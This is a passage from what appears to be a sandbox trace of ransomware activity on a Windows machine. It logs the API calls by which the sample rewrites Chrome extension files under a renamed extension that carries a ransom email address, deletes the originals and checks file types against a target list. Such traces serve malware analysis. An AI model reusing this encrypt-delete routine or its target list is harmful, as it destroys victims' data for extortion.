dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0171.863] GetLastError () returned 0x0 [0171.863] ReadFile (in: hFile=0x334, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xdf, lpOverlapped=0x0) returned 1 [0171.864] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0171.865] ReadFile (in: hFile=0x334, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0171.865] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0171.865] SetEndOfFile (hFile=0x19c) returned 1 [0171.865] CloseHandle (hObject=0x19c) returned 1 [0171.865] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.865] SetEndOfFile (hFile=0x334) returned 1 [0171.866] CloseHandle (hObject=0x334) returned 1 [0171.866] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0171.866] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json")) returned 1 [0171.866] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json") returned 151 [0171.866] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json") returned 151 [0171.867] lstrlenW (lpString=".doc") returned 4 [0171.867] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0171.867] lstrlenW (lpString=".docx") returned 5 [0171.867] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0171.867] lstrlenW (lpString=".pdf") returned 4 [0171.867] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0171.867] lstrlenW (lpString=".xls") returned 4 [0171.867] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0171.867] lstrlenW (lpString=".xlsx") returned 5 [0171.867] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0171.867] lstrlenW (lpString=".ppt") returned 4 [0171.867] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0171.867] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json") returned 151 [0171.867] lstrlenW (lpString=".zip") returned 4 [0171.867] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0171.867] lstrlenW (lpString=".rar") returned 4 [0171.867] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0171.867] lstrlenW (lpString=".bz2") returned 4 [0171.867] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0171.867] lstrlenW (lpString=".7z") returned 3 [0171.867] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0171.867] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json") returned 151 [0171.867] lstrlenW (lpString=".dbf") returned 4 [0171.867] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0171.867] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json") returned 151 [0171.867] lstrlenW (lpString=".1cd") returned 4 [0171.867] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0171.867] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json") returned 151 [0171.867] lstrlenW (lpString=".jpg") returned 4 [0171.867] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0171.868] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json") returned 151 [0171.868] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json") returned 151 [0171.868] lstrlenW (lpString=".doc") returned 4 [0171.868] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0171.868] lstrlenW (lpString=".docx") returned 5 [0171.868] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0171.868] lstrlenW (lpString=".pdf") returned 4 [0171.868] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0171.868] lstrlenW (lpString=".xls") returned 4 [0171.868] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0171.868] lstrlenW (lpString=".xlsx") returned 5 [0171.868] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0171.868] lstrlenW (lpString=".ppt") returned 4 [0171.868] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0171.868] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json") returned 151 [0171.868] lstrlenW (lpString=".zip") returned 4 [0171.868] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0171.868] lstrlenW (lpString=".rar") returned 4 [0171.868] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0171.868] lstrlenW (lpString=".bz2") returned 4 [0171.868] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0171.868] lstrlenW (lpString=".7z") returned 3 [0171.868] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0171.868] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json") returned 151 [0171.868] lstrlenW (lpString=".dbf") returned 4 [0171.868] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0171.868] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json") returned 151 [0171.868] lstrlenW (lpString=".1cd") returned 4 [0171.868] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0171.868] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json") returned 151 [0171.868] lstrlenW (lpString=".jpg") returned 4 [0171.869] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0171.869] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0171.869] lstrlenW (lpString="messages.json") returned 13 [0171.869] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0171.869] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=221) returned 1 [0171.869] CloseHandle (hObject=0x334) returned 1 [0171.869] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json")) returned 0x2020 [0171.869] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0171.869] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0171.870] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.870] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.870] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0171.870] GetLastError () returned 0x0 [0171.870] ReadFile (in: hFile=0x334, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xdd, lpOverlapped=0x0) returned 1 [0171.871] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0171.872] ReadFile (in: hFile=0x334, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0171.872] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0171.872] SetEndOfFile (hFile=0x19c) returned 1 [0171.872] CloseHandle (hObject=0x19c) returned 1 [0172.167] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.167] SetEndOfFile (hFile=0x334) returned 1 [0172.252] CloseHandle (hObject=0x334) returned 1 [0172.252] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.253] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json")) returned 1 [0172.253] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json") returned 155 [0172.253] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json") returned 155 [0172.253] lstrlenW (lpString=".doc") returned 4 [0172.253] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.253] lstrlenW (lpString=".docx") returned 5 [0172.253] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.253] lstrlenW (lpString=".pdf") returned 4 [0172.253] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.253] lstrlenW (lpString=".xls") returned 4 [0172.253] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.253] lstrlenW (lpString=".xlsx") returned 5 [0172.253] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.253] lstrlenW (lpString=".ppt") returned 4 [0172.253] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.254] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json") returned 155 [0172.254] lstrlenW (lpString=".zip") returned 4 [0172.254] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.254] lstrlenW (lpString=".rar") returned 4 [0172.254] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.254] lstrlenW (lpString=".bz2") returned 4 [0172.254] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.254] lstrlenW (lpString=".7z") returned 3 [0172.254] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.254] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json") returned 155 [0172.254] lstrlenW (lpString=".dbf") returned 4 [0172.254] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.254] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json") returned 155 [0172.254] lstrlenW (lpString=".1cd") returned 4 [0172.254] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.254] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json") returned 155 [0172.254] lstrlenW (lpString=".jpg") returned 4 [0172.254] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.254] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json") returned 155 [0172.254] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json") returned 155 [0172.254] lstrlenW (lpString=".doc") returned 4 [0172.254] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.255] lstrlenW (lpString=".docx") returned 5 [0172.255] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.255] lstrlenW (lpString=".pdf") returned 4 [0172.255] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.255] lstrlenW (lpString=".xls") returned 4 [0172.255] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.255] lstrlenW (lpString=".xlsx") returned 5 [0172.255] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.255] lstrlenW (lpString=".ppt") returned 4 [0172.255] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.255] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json") returned 155 [0172.255] lstrlenW (lpString=".zip") returned 4 [0172.255] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.255] lstrlenW (lpString=".rar") returned 4 [0172.255] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.255] lstrlenW (lpString=".bz2") returned 4 [0172.255] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.255] lstrlenW (lpString=".7z") returned 3 [0172.255] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.255] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json") returned 155 [0172.255] lstrlenW (lpString=".dbf") returned 4 [0172.255] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.255] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json") returned 155 [0172.255] lstrlenW (lpString=".1cd") returned 4 [0172.255] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.255] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json") returned 155 [0172.255] lstrlenW (lpString=".jpg") returned 4 [0172.255] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.256] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.256] lstrlenW (lpString="messages.json") returned 13 [0172.256] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0172.256] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=230) returned 1 [0172.256] CloseHandle (hObject=0x334) returned 1 [0172.256] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json")) returned 0x2020 [0172.256] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.256] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0172.256] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.256] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.256] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0172.257] GetLastError () returned 0x0 [0172.257] ReadFile (in: hFile=0x334, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xe6, lpOverlapped=0x0) returned 1 [0172.258] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0172.259] ReadFile (in: hFile=0x334, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0172.259] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.259] SetEndOfFile (hFile=0x1a4) returned 1 [0172.259] CloseHandle (hObject=0x1a4) returned 1 [0172.259] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.259] SetEndOfFile (hFile=0x334) returned 1 [0172.260] CloseHandle (hObject=0x334) returned 1 [0172.260] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.260] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json")) returned 1 [0172.261] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json") returned 151 [0172.261] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json") returned 151 [0172.261] lstrlenW (lpString=".doc") returned 4 [0172.261] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.261] lstrlenW (lpString=".docx") returned 5 [0172.261] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.261] lstrlenW (lpString=".pdf") returned 4 [0172.261] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.261] lstrlenW (lpString=".xls") returned 4 [0172.261] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.261] lstrlenW (lpString=".xlsx") returned 5 [0172.261] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.261] lstrlenW (lpString=".ppt") returned 4 [0172.261] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.261] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json") returned 151 [0172.261] lstrlenW (lpString=".zip") returned 4 [0172.261] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.261] lstrlenW (lpString=".rar") returned 4 [0172.261] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.261] lstrlenW (lpString=".bz2") returned 4 [0172.261] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.261] 